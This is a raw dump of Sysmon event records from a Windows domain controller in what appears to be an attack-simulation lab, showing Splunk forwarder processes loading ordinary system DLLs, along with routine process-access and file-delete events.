14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000049119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000049115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000049110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000049109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000049108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.341{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2083052ED714A2EDE8B3F861BA6C9E99,SHA256=5EC9199683DE75C3F50377943CCE4F7349755AD9322A9630A695771D6CE1F8EC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.184{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000049106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.184{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000049105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.184{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000049104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000049103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000049102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000049101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000049100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000049099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000049098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000049097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000049096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.028{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000049095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 23542300x800000000000000049094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.028{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FFC23247B0AA0D2A40BBA7426C32F7F6,SHA256=13F1814EAB0B501D9DCCFF360D0C7248A5F78C5F52A42137DD7E3A9D6310A657,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.028{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000049092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.028{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000049091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000049090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000049089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000049088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000049087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000049086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.012{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000049080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 